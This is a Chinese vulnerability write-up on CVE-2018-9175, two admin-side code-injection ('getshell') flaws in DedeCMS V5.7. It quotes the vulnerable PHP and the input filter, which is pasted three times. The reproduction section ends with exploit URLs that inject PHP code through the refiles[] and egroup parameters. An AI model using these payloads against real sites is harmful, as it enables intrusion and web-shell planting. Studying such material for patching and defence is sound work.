(CVE-2018-9175)Dedecms V5.7后台的两处getshell

一、漏洞简介

后台写配置文件过滤不足导致写shell。

二、漏洞影响

三、复现过程

漏洞代码分析

第一个

在/dede/sys_verifies.php中的第152行处

else if ($action == 'getfiles')
{
    if(!isset($refiles))
    {
        ShowMsg("你没进行任何操作!","sys_verifies.php");
        exit();
    }
    $cacheFiles = DEDEDATA.'/modifytmp.inc';
    $fp = fopen($cacheFiles, 'w');
    fwrite($fp, '<'.'?php'."\r\n");
    fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
    $dirs = array();
    $i = -1;
    $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
    foreach($refiles as $filename)
    {
        $filename = substr($filename,3,strlen($filename)-3);
        if(preg_match("#^dede/#i", $filename)) 
        {
            $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
        } else {
            $curdir = GetDirName($filename);
        }
        if( !isset($dirs[$curdir]) ) 
        {
            $dirs[$curdir] = TestIsFileDir($curdir);
        }
        $i++;
        fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
    }
    fwrite($fp, '$fileConut = '.$i.';'."\r\n");
    fwrite($fp, '?'.'>');
    fclose($fp);
可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。

dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

if (!defined('DEDEREQUEST'))
{
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                if($_k == 'nvarname') continue;
                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
            {
                exit('Request var not allow!');
            }
        }
    }

    //var_dump($_REQUEST);exit;
    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v)
        {
            if($_k == 'nvarname') ${$_k} = $_v;
            else ${$_k} = _RunMagicQuotes($_v);
        }
    }
}

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

if (!defined('DEDEREQUEST'))
{
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                if($_k == 'nvarname') continue;
                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
            {
                exit('Request var not allow!');
            }
        }
    }

    //var_dump($_REQUEST);exit;
    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v)
        {
            if($_k == 'nvarname') ${$_k} = $_v;
            else ${$_k} = _RunMagicQuotes($_v);
        }
    }
}

可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。

dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

if (!defined('DEDEREQUEST'))
{
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                if($_k == 'nvarname') continue;
                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
            {
                exit('Request var not allow!');
            }
        }
    }

    //var_dump($_REQUEST);exit;
    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v)
        {
            if($_k == 'nvarname') ${$_k} = $_v;
            else ${$_k} = _RunMagicQuotes($_v);
        }
    }
}

上面的$refiles就是注册的外部变量,可见已经addlashes了而我们还是需要绕过fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); 实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作

$filename = substr($filename,3,strlen($filename)-3);

去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入\" 时经过addlashes会变成\\",再去掉前三个字符就只剩下双引号实现闭合。

此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件/dede/sys_verifies.php

第二个

同样是写配置文件,位于/dede/sys_cache_up.php

else if($step == 2)
{
    include_once(DEDEINC."/enums.func.php");
    WriteEnumsCache();
    //WriteAreaCache(); 已过期
    ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
    exit();
}

跟进WriteEnumsCache()

function WriteEnumsCache($egroup='')
{
    global $dsql;
    $egroups = array();
    if($egroup=='') {
        $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
    }
    else {
        $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");
    }
    $dsql->Execute('enum');
    while($nrow = $dsql->GetArray('enum')) {
        $egroups[] = $nrow['egroup'];
    }
    foreach($egroups as $egroup)
    {
        $cachefile = DEDEDATA.'/enums/'.$egroup.'.php';
        $fp = fopen($cachefile,'w');
        fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
        $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC ");
        $dsql->Execute('enum');
        $issign = -1;
        $tenum = false; //三级联动标识
        while($nrow = $dsql->GetArray('enum'))
        {
            fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");
            if($issign==-1) $issign = $nrow['issign'];
            if($nrow['issign']==2) $tenum = true;
        }
        if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");
        fwrite($fp,'?'.'>');
        fclose($fp);
        if(empty($issign)) WriteEnumsJs($egroup);
    }
    return '成功更新所有枚举缓存!';
}

可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。

将shell写进数据库中

http://0-sec.org/dede/stepselect_main.php?action=addenum_save&ename=123&egroup=;phpinfo();//&islogin=1

image

复现

因为包含是在同一个文件,所以直接输入

http://0-sec.org/dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//

image

零组资料文库 all right reserved,powered by 0-sec.org未经授权禁止转载 2019-11-29 21:06:22

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